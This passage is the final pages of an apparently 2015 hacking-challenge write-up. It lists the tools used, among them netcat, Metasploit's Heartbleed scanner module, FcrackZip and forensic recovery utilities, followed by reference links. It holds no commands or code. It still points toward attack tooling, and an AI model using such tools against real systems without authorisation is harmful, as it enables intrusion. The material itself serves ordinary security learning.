USB Secret #2: Your demise is a source of relief.
USB Secret #3: Your demise is a source of gain for others.
USB Secret #4: You can prevent much grief and cause much joy.
Hack for good, not evil or greed.
Prisăcaru Anatolie
04.01.2015
Tools
1.
Nmap
2.
dpkg
3.
SSH client
4.
netcat
5.
curl, wget
6.
openssl
7.
Metasploit
• auxiliary/scanner/ssl/openssl_heartbleed
8.
String and file processing utilities: strings, sed, grep, tr, xdd
9.
busybox
10. file, GNU parted
11. LibreOffice
12. oledump.py
13. Wireshark
14. binwalk
15. dd
16. testdisk, photorec
17. FcrackZip
18. identify (ImageMagick)
19. ntfsundelete
20. f5-steganography: f5.jar
23/24
Prisăcaru Anatolie
04.01.2015
24/24
References
1. http://en.wikipedia.org/wiki/ELIZA
2. http://en.wikipedia.org/wiki/Alan_Turing
3. http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
4. http://heartbleed.com/
5. http://www.rapid7.com/db/modules/auxiliary/scanner/ssl/openssl
_heartbleed
6. https://gist.github.com/cdown/1163649
7. http://tldp.org/LDP/abs/html/devref1.html
8. http://hacktux.com/bash/socket
9. http://rus.har.mn/blog/2009-05-28/pure-bash-cat/
10. http://cfajohnson.com/shell/articles/dynamically-loadable/
11. http://phajdan-jr.blogspot.ro/2014/07/recovering-from-removedlibgccsso1-and.html
12. http://www.reddit.com/r/linux/comments/27is0x/rm_rf_remains/
ci199bk
13. http://lambdaops.com/rm-rf-remains/
14. http://videos.didierstevens.com/2014/08/26/oledump-py-beta/
15. http://en.wikipedia.org/wiki/Windows_NT
16. http://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
17. http://en.wikipedia.org/wiki/JPEG_File_Interchange_Format
18. http://en.wikipedia.org/wiki/Zip_(file_format)
19. http://www.busybox.net/
20. http://xahlee.info/img/metadata_in_image_files.html
21. http://linux.die.net/man/8/ntfsundelete